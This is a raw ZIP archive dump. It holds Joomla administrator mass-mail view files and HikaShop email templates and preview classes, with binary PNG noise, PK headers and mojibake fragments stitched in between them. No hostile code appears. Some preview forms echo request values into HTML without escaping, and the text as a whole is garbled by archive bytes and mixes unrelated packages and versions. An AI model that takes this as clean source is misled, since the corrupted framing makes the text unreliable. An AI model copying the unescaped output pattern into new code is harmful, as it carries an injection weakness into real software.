b��(1Z\�y��=.U����F�G�@y�j�w�Ҡilo��#�*���6w��X���yz��!a�!S5[ۀ���\���$�!SΖ*鉚��cv�V���Y@��x��AD�� �(CO��m3w�q��R�h�uJ�a��ꁚ���M���\�1�ӍZ�&�kY�&!.��P��y��^����an����[;f����F[�ݷB9*KRt�
�
KR�J
U,I�`I
KR(X�B��
���P����M�IEND�B`�PK�x�[wtW�
index.htmlnu�[���<html><body></body></html>PKi��[1�t
�
�
tmpl/default.phpnu�[���<?php
/**
* @package Joomla.Administrator
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$script = "\t" . 'Joomla.submitbutton =
function(pressbutton) {' . "\n";
$script .= "\t\t" . 'var form = document.adminForm;' .
"\n";
$script .= "\t\t" . 'if (pressbutton ==
\'mail.cancel\') {' . "\n";
$script .= "\t\t\t" . 'Joomla.submitform(pressbutton);'
. "\n";
$script .= "\t\t\t" . 'return;' . "\n";
$script .= "\t\t" . '}' . "\n";
$script .= "\t\t" . '// do field validation' .
"\n";
$script .= "\t\t" . 'if (form.jform_subject.value ==
""){' . "\n";
$script .= "\t\t\t" . 'alert("' .
JText::_('COM_USERS_MAIL_PLEASE_FILL_IN_THE_SUBJECT', true) .
'");' . "\n";
$script .= "\t\t" . '} else if
(getSelectedValue(\'adminForm\',\'jform[group]\') <
0){' . "\n";
$script .= "\t\t\t" . 'alert("' .
JText::_('COM_USERS_MAIL_PLEASE_SELECT_A_GROUP', true) .
'");' . "\n";
$script .= "\t\t" . '} else if (form.jform_message.value ==
""){' . "\n";
$script .= "\t\t\t" . 'alert("' .
JText::_('COM_USERS_MAIL_PLEASE_FILL_IN_THE_MESSAGE', true) .
'");' . "\n";
$script .= "\t\t" . '} else {' . "\n";
$script .= "\t\t\t" . 'Joomla.submitform(pressbutton);'
. "\n";
$script .= "\t\t" . '}' . "\n";
$script .= "\t\t" . '}' . "\n";
JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen', 'select');
JFactory::getDocument()->addScriptDeclaration($script);
?>
<form action="<?php echo
JRoute::_('index.php?option=com_users&view=mail');
?>" name="adminForm" method="post"
id="adminForm">
<div class="row-fluid">
<div class="span9">
<fieldset class="adminform">
<div class="control-group">
<div class="control-label"><?php echo
$this->form->getLabel('subject'); ?></div>
<div class="controls"><?php echo
JComponentHelper::getParams('com_users')->get('mailSubjectPrefix');
?>
<?php echo $this->form->getInput('subject');
?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo
$this->form->getLabel('message'); ?></div>
<div class="controls"><?php echo
$this->form->getInput('message'); ?><br>
<?php echo
JComponentHelper::getParams('com_users')->get('mailBodySuffix');
?></div>
</div>
</fieldset>
<input type="hidden" name="task"
value="" />
<?php echo JHtml::_('form.token'); ?>
</div>
<div class="span3">
<fieldset class="form-inline">
<div class="control-group checkbox">
<div class="controls"><?php echo
$this->form->getInput('recurse'); ?> <?php echo
$this->form->getLabel('recurse'); ?></div>
</div>
<div class="control-group checkbox">
<div class="control-label"><?php echo
$this->form->getInput('mode'); ?> <?php echo
$this->form->getLabel('mode'); ?></div>
</div>
<div class="control-group checkbox">
<div class="control-label"><?php echo
$this->form->getInput('disabled'); ?> <?php echo
$this->form->getLabel('disabled'); ?></div>
</div>
<div class="control-group checkbox">
<div class="control-label"><?php echo
$this->form->getInput('bcc'); ?> <?php echo
$this->form->getLabel('bcc'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo
$this->form->getLabel('group'); ?></div>
<div class="controls"><?php echo
$this->form->getInput('group'); ?></div>
</div>
</fieldset>
</div>
</div>
</form>
PKi��[v(���tmpl/default.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USERS_MAIL_VIEW_DEFAULT_TITLE">
<message>
<![CDATA[COM_USERS_MAIL_VIEW_DEFAULT_DESC]]>
</message>
</layout>
</metadata>
PKi��[��tE
view.html.phpnu�[���<?php
/**
* @package Joomla.Administrator
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Users mail view.
*
* @since 1.6
*/
class UsersViewMail extends JViewLegacy
{
/**
* @var object form object
*/
protected $form;
/**
* Display the view
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return void
*/
public function display($tpl = null)
{
// Redirect to admin index if mass mailer disabled in conf
if (JFactory::getApplication()->get('massmailoff', 0) == 1)
{
JFactory::getApplication()->redirect(JRoute::_('index.php',
false));
}
// Get data from the model
$this->form = $this->get('Form');
$this->addToolbar();
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @return void
*
* @since 1.6
*/
protected function addToolbar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
JToolbarHelper::title(JText::_('COM_USERS_MASS_MAIL'),
'users massmail');
JToolbarHelper::custom('mail.send', 'envelope.png',
'send_f2.png', 'COM_USERS_TOOLBAR_MAIL_SEND_MAIL',
false);
JToolbarHelper::cancel('mail.cancel');
JToolbarHelper::divider();
JToolbarHelper::preferences('com_users');
JToolbarHelper::divider();
JToolbarHelper::help('JHELP_USERS_MASS_MAIL_USERS');
}
}
PK�[����contact_request.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
body {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
body{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
body{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-forum.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:CONTACT_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:FOR_PRODUCT}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_USER}</h3>
{TXT:CONTACT_BEGIN_MESSAGE}
</p>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:USER}</td>
<td>{VAR:USER_DETAILS}</td>
</tr>
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT}</td>
<td>{VAR:PRODUCT_DETAILS}</td>
</tr>
</table>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-top:1px solid
#ddd;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:USER_MESSAGE}
</h1>
<p>
{VAR:USER_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[�$�4��contact_request.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
global $Itemid;
$url_itemid = '';
if(!empty($Itemid)) {
$url_itemid = '&Itemid=' . $Itemid;
}
$texts = array(
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'CONTACT_TITLE' =>
JText::_('CONTACT_EMAIL_TITLE'),
'CONTACT_BEGIN_MESSAGE' =>
JText::_('CONTACT_BEGIN_MESSAGE'),
'USER_MESSAGE' =>
JText::_('CONTACT_USER_MESSAGE'),
'USER' => JText::_('HIKA_USER'),
'PRODUCT' => JText::_('PRODUCT'),
'HI_USER' => JText::sprintf('HI_CUSTOMER',
''),
'FOR_PRODUCT' =>
JText::sprintf('CONTACT_REQUEST_FOR_PRODUCT',
$data->product->product_name),
);
$admin_product_url =
JRoute::_('administrator/index.php?option=com_hikashop&ctrl=product&task=edit&cid[]='.$data->product->product_id,
false, true);
$front_product_url =
hikashop_frontendLink('product&task=show&cid[]='.$data->product->product_id.$url_itemid);
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => HIKASHOP_LIVE,
'USER_DETAILS' =>
htmlentities($data->element->name.' (
'.$data->element->email . ' )'),
'PRODUCT_DETAILS' => ('<a
href="'.$admin_product_url.'">'.strip_tags($data->product->product_name.'
('.$data->product->product_code.')').'</a>'),
'FRONT_PRODUCT_DETAILS' => ('<a
href="'.$front_product_url.'">'.strip_tags($data->product->product_name.'
('.$data->product->product_code.')').'</a>'),
'USER_MESSAGE' =>
str_replace(array("\r\n","\r","\n"),
'<br/>', $data->element->altbody),
);
PK�[aFO8""contact_request.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class contact_requestPreviewMaker {
public $displaySubmitButton = true;
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$element = new stdClass();
foreach($data['contact'] as $column => $value) {
hikashop_secureField($column);
$element->$column = strip_tags($value);
}
$config =& hikashop_config();
$app = JFactory::getApplication();
JPluginHelper::importPlugin('hikashop');
$send = (int)$config->get('product_contact', 0);
$app->triggerEvent('onBeforeSendContactRequest',
array(&$element, &$send));
$subject = JText::_('CONTACT_REQUEST');
if(!empty($element->product_id)) {
$productClass = hikashop_get('class.product');
$product = $productClass->get((int)$element->product_id);
if(!empty($product) && $product->product_type ==
'variant') {
$db = JFactory::getDBO();
$query = 'SELECT * FROM
'.hikashop_table('variant').' AS v '.
' LEFT JOIN '.hikashop_table('characteristic')
.' AS c ON v.variant_characteristic_id = c.characteristic_id '.
' WHERE v.variant_product_id =
'.(int)$element->product_id.' ORDER BY v.ordering';
$db->setQuery($query);
$product->characteristics = $db->loadObjectList();
$parentProduct =
$productClass->get((int)$product->product_parent_id);
$productClass->checkVariant($product, $parentProduct);
}
if(!empty($product) && !empty($product->product_name)){
$subject =
JText::sprintf('CONTACT_REQUEST_FOR_PRODUCT',strip_tags($product->product_name));
}
}
$mailClass = hikashop_get('class.mail');
$infos = new stdClass();
$infos->element =& $element;
$infos->product =& $product;
$mail = $mailClass->get('contact_request', $infos);
$mail->subject = $subject;
$mail->from_email = $config->get('from_email');
$mail->from_name = $config->get('from_name');
$mail->reply_email = $element->email;
if(empty($mail->dst_email))
$mail->dst_email = array($config->get('from_email'));
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data[contact][product_id]',
(int)@$data['contact']['product_id'],
hikashopNameboxType::NAMEBOX_SINGLE,
'product',
array(
'delete' => false,
'variants' => 2,
'url_params' => array('VARIANTS' => 2),
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
$product = null;
if(!empty($data['contact']['product_id'])){
$class = hikashop_get('class.product');
$product =
$class->get($data['contact']['product_id']);
}
$fieldClass = hikashop_get('class.field');
$contactFields = $fieldClass->getFields('frontcomp',
$product, 'contact');
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('PRODUCT'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
<dt id="hikashop_contact_name_name"
class="hikashop_contact_item_name">
<label for="data[contact][name]"><?php echo JText::_(
'HIKA_USER_NAME' ); ?></label>
</dt>
<dd id="hikashop_contact_value_name"
class="hikashop_contact_item_value">
<input id="hikashop_contact_name" type="text"
name="data[contact][name]" size="40"
value="<?php echo @$data['contact']['name'];
?>" />
</dd>
<dt id="hikashop_contact_name_email"
class="hikashop_contact_item_name">
<label for="data[contact][email]"><?php echo JText::_(
'HIKA_EMAIL' ); ?></label>
</dt>
<dd id="hikashop_contact_value_email"
class="hikashop_contact_item_value">
<input id="hikashop_contact_email" type="text"
name="data[contact][email]" size="40"
value="<?php echo @$data['contact']['email'];
?>" />
</dd>
<?php
if(!empty($contactFields)){
?>
</dl>
<?php
foreach ($contactFields as $fieldName => $oneExtraField) {
$itemData = @$data['contact'][$fieldName];
?>
<dl id="hikashop_contact_<?php echo
$oneExtraField->field_namekey; ?>"
class="hika_options">
<dt id="hikashop_contact_item_name_<?php echo
$oneExtraField->field_id;?>"
class="hikashop_contact_item_name">
<label for="data[contact][<?php echo
$oneExtraField->field_namekey; ?>]">
<?php echo $fieldClass->getFieldName($oneExtraField, true);?>
</label>
</dt>
<dd id="hikashop_contact_item_value_<?php echo
$oneExtraField->field_id;?>"
class="hikasho_contact_item_value"><?php
$onWhat='onchange';
if($oneExtraField->field_type=='radio')
$onWhat='onclick';
$oneExtraField->product_id =
(int)@$data['contact']['product_id'];
echo $fieldClass->display(
$oneExtraField,$itemData,
'data[contact]['.$oneExtraField->field_namekey.']',
false,
'
'.$onWhat.'="window.hikashop.toggleField(this.value,\''.$fieldName.'\',\'contact\',0);"',
false,
null,
null,
false
);
?>
</dd>
</dl>
<?php
}
?>
<dl class="hika_options">
<?php
}
?>
<dt id="hikashop_contact_name_altbody"
class="hikashop_contact_item_name">
<label for="data[contact][altbody]"><?php echo
JText::_( 'ADDITIONAL_INFORMATION' ); ?></label>
</dt>
<dd id="hikashop_contact_value_altbody"
class="hikashop_contact_item_value">
<textarea id="hikashop_contact_altbody" cols="60"
rows="10" name="data[contact][altbody]"
style="width:100%;"><?php echo
@$data['contact']['altbody']; ?></textarea>
</dd>
</dl>
<?php
}
}
PK�[$�{]]cron_report.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo $data->report; ?>
<br/>
<?php echo $data->detailreport; ?>
PK�[��:���cron_report.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class cron_reportPreviewMaker {
public $displaySubmitButton = true;
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$config =& hikashop_config();
$subject = JText::_('CRON_REPORT_SUBJECT');
$mailClass = hikashop_get('class.mail');
$infos = new stdClass();
$infos->report = $data['report'];
$infos->detailreport = $data['detailreport'];
$mail = $mailClass->get('cron_report', $infos);
$mail->subject = $subject;
$mail->from_email = $config->get('from_email');
$mail->from_name = $config->get('from_name');
if(empty($mail->dst_email))
$mail->dst_email = array($config->get('from_email'));
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('CRON_REPORT'); ?>
</dt>
<dd>
<input type="text" name="data[report]"
size="40" value="<?php echo @$data['report'];
?>" />
</dd>
<dt>
<?php echo JText::_('DETAILED_REPORT'); ?>
</dt>
<dd>
<input type="text" name="data[detailreport]"
size="40" value="<?php echo
@$data['detailreport']; ?>" />
</dd>
</dl>
<?php
}
}
PK�[��"ZZ
massaction_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><div style="background-color: #ffffff; font-family: Verdana,
Arial, Helvetica, sans-serif;font-size:12px; color: #000000; width:
100%;">
{TXT:EMAIL_BODY}
<!--{IF:product_listing}-->
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTITY}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
</table>
<!--{ENDIF:product_listing}-->
</div>
PK�[��E� � #massaction_notification.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
global $Itemid;
$url_itemid = '';
if(!empty($Itemid)) {
$url_itemid = '&Itemid=' . $Itemid;
}
if(!isset($data)){
$data = array('type' => '');
}elseif(!is_array($data)){
$data = array($data);
}
if(!isset($data['type'])){
$data['type'] = '';
}
switch($data['type']){
case 'csv_export':
$texts = array(
'EMAIL_BODY' =>
JText::sprintf('MASS_CSV_EMAIL_BODY',hikashop_getDate(time()))
);
break;
case 'product_notification':
if($data['action']['bodyData'] ==
'product_listing'){
$productClass = hikashop_get('class.product');
$texts = array(
'EMAIL_BODY' =>
JText::_('MASS_CUSTOM_EMAIL_BODY')
);
$cids = array();
foreach($data['elements'] as $item) {
$cids = $item->product_id;
}
$productClass->getProducts($cids);
$cartProducts = array();
foreach($productClass->products as $item) {
$cartProducts[] = array(
'PRODUCT_NAME' => $item->product_name,
'PRODUCT_PRICE' => $item->prices[0]->price_value,
'PRODUCT_QUANTITY' => $item->product_quantity
);
}
$templates = array();
$templates['PRODUCT_LINE'] = $cartProducts;
if(!empty($cids)){
$vars = array(
'product_listing' => 1
);
}else{
$vars = array(
'product_listing' => 0
);
}
}elseif(!empty($data['action']['bodyData'])){
$texts = array(
'EMAIL_BODY' =>
JText::_($data['action']['bodyData'])
);
}else{
$texts = array(
'EMAIL_BODY' =>
JText::_('MASS_NOTIFICATION_PRODUCT_EMAIL_BODY')
);
}
break;
case 'address_notification':
$texts = array(
'EMAIL_BODY' =>
JText::_('MASS_NOTIFICATION_ADDRESS_EMAIL_BODY')
);
break;
case 'category_notification':
$texts = array(
'EMAIL_BODY' =>
JText::_('MASS_NOTIFICATION_CATEGORY_EMAIL_BODY')
);
break;
case 'order_notification':
$texts = array(
'EMAIL_BODY' =>
JText::_('MASS_NOTIFICATION_ORDER_EMAIL_BODY')
);
break;
case 'user_notification':
$texts = array(
'EMAIL_BODY' =>
JText::_('MASS_NOTIFICATION_USER_EMAIL_BODY')
);
break;
default :
$texts = array(
'EMAIL_BODY' =>
JText::sprintf('PLEASE_CHECK_MASS_SETTINGS',hikashop_getDate(time()))
);
break;
}
PK�[��$u��new_comment.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?>
<?php echo
JText::sprintf('NEW_COMMENT_NOTIFICATION_SUBJECT',HIKASHOP_LIVE);?><br/>
<?php
if(isset($data->result->vote_type) &&
$data->result->vote_type == 'vendor'){
echo JText::sprintf('COMMENT_ITEM_NAME').":
".$data->type->vendor_name;
}else{
echo JText::sprintf('COMMENT_ITEM_NAME').":
".$data->type->product_name;
}
?>
<br/>
<?php echo JText::sprintf('USERNAME').":
".$data->result->username_comment; ?>
<br/>
<?php echo JText::sprintf('HIKA_EMAIL').":
".$data->result->email_comment; ?>
<br/><br/>
<?php echo JText::sprintf('COMMENT_CONTENT').":
".$data->result->comment; ?>
<br/><br/>
<?php echo JText::sprintf('SEE_COMMENT').": ";
?>
<br/>
<a href="<?php echo
JRoute::_('administrator/index.php?option=com_hikashop&ctrl=vote&task=edit&cid[]='.$data->result->vote_id,false,true);?>"><?php
echo
JRoute::_('administrator/index.php?option=com_hikashop&ctrl=vote&task=edit&cid[]='.$data->result->vote_id,false,true);?></a>
PK�[[���!�!!order_admin_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
body {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
body{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
body{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-order.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:ORDER_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:ORDER_CHANGED}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_CUSTOMER}</h3>
{TXT:ORDER_BEGIN_MESSAGE}
</p>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SUMMARY_OF_THE_ORDER}
</h1>
<p>
<span style="color:#1c8faf
!important;font-weight:bold;">{TXT:CUSTOMER} :</span>
{VAR:CUSTOMER_DETAILS}
</p>
<p>
<span style="color:#1c8faf
!important;font-weight:bold;">{TXT:ORDER_NUMBER} :</span>
<a href="{VAR:ORDER_LINK}">{VAR:ORDER_NUMBER}</a>
</p>
<!--{IF:PAYMENT}-->
<p>
<span style="color:#1c8faf
!important;font-weight:bold;">{TXT:PAYMENT_METHOD} :</span>
{VAR:PAYMENT}
</p>
<!--{ENDIF:PAYMENT}-->
<!--{IF:CREDIT_CARD}-->
<p>
<span style="color:#1c8faf
!important;font-weight:bold;font-size:14px;border-bottom:1px solid
#ddd;">{TXT:CUSTOMER_PAID_WITH_CREDIT_CARD}</span>
</p>
<p>
<!--{IF:CREDIT_CARD_OWNER}-->
<span style="color:#1c8faf
!important;font-weight:bold;">{TXT:CREDIT_CARD_OWNER}</span>
{VAR:CREDIT_CARD_OWNER}<br />
<!--{ENDIF:CREDIT_CARD_OWNER}-->
<span style="color:#1c8faf
!important;font-weight:bold;">{TXT:END_OF_CREDIT_CARD_NUMBER}</span>
{VAR:END_OF_CREDIT_CARD_NUMBER}<br />
<!--{IF:CARD_VALIDATION_CODE}-->
<span style="color:#1c8faf
!important;font-weight:bold;">{TXT:CARD_VALIDATION_CODE}</span>
{VAR:CARD_VALIDATION_CODE}<br />
<!--{ENDIF:CARD_VALIDATION_CODE}-->
{TXT:CREDITCARD_WARNING}
</p>
<!--{ENDIF:CREDIT_CARD}-->
<!--{IF:SHIPPING}-->
<p>
<span style="color:#1c8faf
!important;font-weight:bold;">{TXT:HIKASHOP_SHIPPING_METHOD}
:</span> {VAR:SHIPPING}
</p>
<!--{ENDIF:SHIPPING}-->
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:BILLING_ADDRESS}</td>
